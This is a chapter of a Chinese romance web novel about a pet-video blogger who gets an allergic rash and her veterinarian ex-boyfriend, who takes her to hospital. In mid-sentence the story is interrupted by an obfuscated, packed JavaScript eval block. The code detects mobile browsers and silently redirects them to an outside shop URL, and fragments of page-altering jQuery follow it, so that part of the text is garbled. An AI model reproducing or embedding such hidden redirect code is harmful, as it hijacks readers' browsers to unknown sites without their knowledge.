强扭的瓜一点也不甜,真的。
这点连狗都同意。
隔了好几天,对面有意避着她,每次都只能听到他上班下班的关门声。
更何况,温语嘉也难以启齿。
总不能说当年谈恋爱某些方面太合拍,现在我看到你就戒断不了。
“啪啪——”
她合起手掌心,拍了拍自己不清醒的头脑:“想什么呢!”
再想到自己杜撰了那些谎话,她的心跳惊了半拍,胆子扑通一下就没了,作势倒在狗狗身上叹气。
当初的回旋镖终于砸到她了。
谁看到不说一句“早知如此,何必当初。”
温语嘉边想着边爬起来,把前几天网购的衣服拿出来试穿,试图用工作麻痹自己。
可是一眨眼,又对许平泽那副低垂丧气的样子唏嘘得不行。
衣服的面料很差,和皮肤接触的瞬间温语嘉就感到很不舒服,像有人一直用抹布戳她一样,粗糙得很。
她皱着眉头,嘀咕道:“合身的衣服怎么能比男朋友还难找?”
但穿搭效果又实在上镜,她咬咬牙把它留了下来,打算今天就怒拍十条视频库存。
互联网的宠物赛道不是那么好做,温语嘉已经好几条视频都没有过10万点赞,最后一条高赞的视频还是她随意露脸的那条。
底下有人劝她:“长这么好看,怎么不混颜值赛道啊。”
“女神求赏脸,多发自己~”
真的吗?
她不信邪,发给了周婉让她分析一下。
周婉回得快,刷刷刷地甩给她几个视频切片。
“温温你看看啊,这些都是最近正在转型的博主。有之前做知识领域的,也有做美食领域的。”
“不过现在都转情侣赛道了,有了固定的拍摄搭档。”
最后,周婉意味深长地嘱咐她:“如果你想要钱,转感情赛道肯定能赚。”
“可我就想拍自己喜欢的东西。”
温语嘉摇摇头,拒绝了流量噱头,还是老老实实当个小博主,陪着狗狗一起吃喝玩乐。
至于感情,她一贯是听天由命的。
“现在高质量的视频也越来越少了,不过温温你这么聪明,一定能找到破局方法的。”
周婉顺着话说,盘着腿手里撸着她的金毛,一脸沉醉:“狗狗这么可爱,谁能拒绝呢?”
聊完之后,两个女孩又胡扯了一会,最后以要去拍视频结束了这场聊天。
狗狗今天的状态特别好,好几条视频都是一遍过的。温语嘉亲昵地拍拍狗狗的头,给他投喂牛肉粒,一边开始剪辑视频。
这套房子的好处就在主卧有一个落地窗,温语嘉索性把主卧改成了书房,在里面安置了一个升降书桌。
坐累了就可以站起来办公,站久了又可以坐下来办公,对她这种居家懒人很是友好。
今天要剪辑的视频是黑心宠物店的经历分析,主要就是说说她的黑心寄养宠物店。
特效比较简单,只有一小段的动画过渡。大部分都是她出镜,简单准确地概述这件事情。其中对陈承的宠物店也进行了模糊化处理,主要就是分享出来给各位养宠人避个雷。
再配上配音和吸睛片头,温语嘉忙了两个半小时搓出来一条片子。
乍一看效果还挺好,就是自己的话太密了,为了防止剧情单调,温语嘉把许平泽也加进去了。
【震惊!要是没有他我的狗狗险遭不测!】
标准的文案诈骗。
温语嘉满意地点点头,把狗狗一张呆萌的照片当作封面图,点击“发布”。
狗狗又凑过来卖萌,拱在她怀里求贴贴。
眼下的狗狗活蹦乱跳,与之前肠胃炎呕地上吐下泻的情况简直两狗两样。
被狗狗一挤,后背处与肩膀连接处就格外地疼,被粗糙的面料隔得生疼。
连着没有被布料覆盖的地方都开始痒起来,开始忍不住地抓挠。
看起来红了一片,有星星点点的红点。
像是被布料戳出来的点。
温语嘉没在意,只用流水冲了一会。
把衣服换成了一件修身的短袖,打算出门遛狗。
狗狗兴奋地跑去鞋柜叼来牵引绳,忙不迭地套过绳子拽着温语嘉往外走。
“跑那么快干嘛,外面到底有谁在啊?”
她嗔怪了一声,把绳子拉紧一点,又把它拽回身边,一边开门——
下一秒,就对上了邻居敞开的大门。
和一个穿着健身背心的人。
浑身的腱子肉被鼓鼓囊囊地练在该有的地方,令人看见就血脉喷张。
简单的白背心和黑色运动裤,头上还带着耳机,一看就是刚运动回来。
温语嘉瞥了一眼,没好意思搭话,自顾自地走到电梯口,打算下行。
狗狗的嗅觉灵敏,连这么远的汗液都闻得到。
只一秒,就灵活走位,趁着温语嘉出神的片刻从她脚下溜过去,脚垫子啪嗒啪嗒一脚踏过去。
爸爸的味道,也是它最熟悉的地方。
它怎么可能不被吸引呢?
狗狗一低头就溜到许平泽那里去了,还一个劲地往上伸舌头,唤起记忆中的味道。
温语嘉语气格外客气,公事公办私事不办,走过去摸摸拉回狗,拍了拍狗狗的屁股让它挪。
出乎意料的是,许平泽没再一张嘴张口就是“你前任活不好”,也没张口闭口就是“把狗给我养吧,我才是它爹”。
他站在高处,比她高,又比她细心。
靠在墙边,低着头看了她一眼,又在嘴唇上停留了几秒,而后移开了对视。
只一眼,他就看到她身上的红痕,斑驳得不正常,还有新鲜的抓痕。
刚要擦身,手腕却被人拉住。
“你身上过敏了,需要去医院。”
依旧拗不过年上的细心。
许平泽叹了一口气,从房子里边捞了一把,手上出现了钥匙。
嘴上在和她较劲,行为上却又管上她的事,不给她反应的机会,和她一起进了电梯。
他迈出一步,止步与远离她的第99步。
在接近她的路上又不可自拔地往前迈了一大步。
他低垂着眼,温语嘉这个角度还能看到他眼里泛烁的泪光,似乎是在为她的受伤而伤心。
许是前后说行不一,许平泽一言不发把她塞进了副驾。
“我没事的……”
她还在挣扎,就是件小事。
温语嘉在往后退,许平泽在往前推。
她害怕无可替代,他担心过敏休克。
“应该是过敏性荨麻疹,必须去医院!”
许平泽不给她拒绝的机会,从她手里挤来狗绳,再次而返。
把现下的女孩狠狠地说教一顿,要她自重:“别拿自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586130|205271||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
己的身体不当回事。”
温语嘉舔了舔唇,觉得空气有点窒息。
她每次一碰到他就像被下了药一样被牵着走,刚置气避嫌没几天,心里本来已经对他的感情丧失了信心,却又被他的细心高高撩起。
简直让她着迷!
现下还有一件事她很好奇,拨弄了一下车上的摆件,问道:
“可是你不是宠物医生吗?为什么会给人看病呢?”
怎么就确认她就是过敏?
“宠物医生也是医生,你们都是病人。”
许平泽对她这副慢半拍的回弹没了脾气,没由来耐心地解释。
等着红灯,抽出手来凑近了她的额头。两指一合,弹了一下她的脑门,半似威胁地替她回想:
“你是不是忘了我为什么选动物医学专业了?”
话刚落下,温语嘉“嗯?”了一声。
“是因为你觉得宠物很可怜。”
许平泽装作无意,提了一句看似平常的话。
听到这话,被克制的情绪这才被如潮水般铺天盖地地淹过来。
温语嘉想起来自己说的种种,细小如随口一说的“希望能有更多的宠物医生,这样就会有更多的宠物能活下去了”,这样的话都会被人记在心里并且为之不懈地努力到极致。
她一时没作声,下了车跟着他去了急诊。
期间差点跟不上,许平泽索性把她的手抓在自己的背心,掖出一个团给她抓着走。
两人一起站在诊室前,温语嘉踟躇着,万般言语此刻只化成一句迟来的肯定:
“谢谢你的努力,才能让再次我看到你。”
许平泽别扭着把脸朝外,背对着她,很不耐矫情,又迅速地转过来了一下,飞快地说:“你也很努力。”
他没说的是,他早在她没看到他之前,就已经看到她了。
从她发第一条视频的时候,许平泽就是她的精准投流对象。
说不关注是假的,他一直关注她,还是特别关注。
每天隔屏都慌乱不堪,把她的每一个视频都反复点开上千遍,在熟悉的地方找到她存在爱过的证据。
他会很过分地想把狗狗抢过来,用不屑的眼神像她赶走他一样,把她从自己的心里赶走。
可是每次看到她的笑颜,又鬼使神差地点开,任由自己沉沦放纵手速。
“你这样不好。”许平泽接着医生的话,把他的心里话胡乱塞到关切之中,“这么大了都不会照顾好自己吗?”
“我会的。”温语嘉点了点头,说自己过得很好。
现下宛如对着木头弹琴,是头牛也能听出一点弦外之音。
许平泽气得没招,无语地让她看检查单,手指戳着上面的“过敏性荨麻疹”,恨铁不成钢:“你自己就是这么照顾自己的?”
边说着,边跑到同一楼层的药房取药。
一遍又一遍往上盖着药膏,把显眼的红痕盖住,语气软了下来打算折中:“你这样,我会心疼的。”
自己生活的时间久了,她也不觉得过个敏有什么打不了的,只不过是会留点抓痕罢了。
温语嘉感觉自己的心在被流水冲刷,一遍又一遍地侵蚀掉不安的保护壳。
保护壳之下,是他所熟悉的温语嘉。
她的脸绒毛痒痒的,心被蜜块填满,慢一拍地拆掉伪装,展现出无害的一面:
“反正你会照顾我的,不是吗?”